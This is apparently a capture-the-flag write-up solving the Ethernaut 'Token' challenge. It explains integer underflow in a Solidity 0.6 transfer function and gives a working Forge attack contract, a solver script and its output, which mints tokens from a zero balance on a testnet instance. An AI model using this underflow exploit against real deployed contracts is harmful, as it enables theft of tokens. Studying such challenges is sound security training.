

Token

in this challenge we are given a simple token contract

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {
    mapping(address => uint256) balances;
    uint256 public totalSupply;

    constructor(uint256 _initialSupply) public {
        balances[msg.sender] = totalSupply = _initialSupply;
    }

    function transfer(address _to, uint256 _value) public returns (bool) {
        require(balances[msg.sender] - _value >= 0);
        balances[msg.sender] -= _value;
        balances[_to] += _value;
        return true;
    }

    function balanceOf(address _owner) public view returns (uint256 balance)
    {
        return balances[_owner];
    }
}
```

we start with 20 tokens given by default and our goal is find a bug that allow us to get a large amount of token

so first of all lets check the 20 token we have using `cast`

```
ethernaut on [?] master [!1 +2 ?28 ] cast call 0xD71EA4b9951B1861115Ce3c5fdEcE2440b77d21B "balanceOf(address)(uint256)"
0x284cd6b2b7d4dc8a754c8fc34858529db5039ebb --rpc-url $rpc_url
20
```

what does this command do is simply send an `eth_call` which will allow us to execute the view function locally in the node without spending any gas, cool isn't it ?

now lets continue with our challenge, the description tell us to check `odometer`

my understanding is that it is the counter for cars , the special thing about it is that it resets after reaching a certain max number , similar to overflows

so when talking about overflow/underflow in solidity we can find that in versions before 0.8.0 it did happen and developers had to add custom checks or use libraries like safemath which add more function calls and causes more gas usage and if we didn't add the checks the contract could loose funds

in versions 0.8.x new opcodes have been added by the compiler to arithmetic operations to prevent this type of vulnerabilities (basically revert when the overflow happens)

returning to the contract we have , we can see that the version is 0.6.0 which is vulnerable to the overflow/underflow attack

if we look at the only function that allow us to transfer tokens :

```
function transfer(address _to, uint256 _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
}
```

the only check is `require(balances[msg.sender] - _value >= 0)` and the underflow attack apply here , so if for example a contract that has a balance equal to 0 and try to call this transfer function with `_value = 100` , `balances[msg.sender] - _value` will be equal to `max - 100` which is bigger than 0 so we bypass the require check and then we get 100 tokens without losing any (by setting `_to` to our address ofc)

so boom! we broke the contract

now the only thing left is create the solver script , we can use forge to do that :

```
pragma solidity ^0.6.0;

import "../src/Token.sol";
import "forge-std/Script.sol";
import "forge-std/console.sol";

contract attack {
    Token token ;
    address player = 0x284Cd6B2b7D4dC8a754c8fC34858529db5039eBb;
    constructor(Token _token) public {
        token = _token;
        token.transfer(player,6767676747);
        console.log(token.balanceOf(player));
    }
}
```

```

}

contract Solver is Script {
    Token instance = Token(0xD71EA4b9951B1861115Ce3c5fdEcE2440b77d21B);

    function run() external {
        vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
        attack p = new attack(instance);
    }
}

```

and we execute it locally using :

```

ethernaut on P master [!1 +2 ?28 ]> forge script script/Token.s.sol --rpc-url $rpc_url --private-key $PRIVATE_KEY --tc
Solver
[*] Compiling...
No files changed, compilation skipped
Script ran successfully.

== Logs ==
    6767676767

## Setting up 1 EVM.

=====

Chain 11155111

Estimated gas price: 0.001145992 gwei
Estimated total gas used for script: 270561
Estimated amount required: 0.000000310060741512 ETH

=====

```

so the exploit works fine (check the logs, we got so many tokens by spending 0) , we just add the --broadcast flag to execute it remotely and gg the challenge is solved!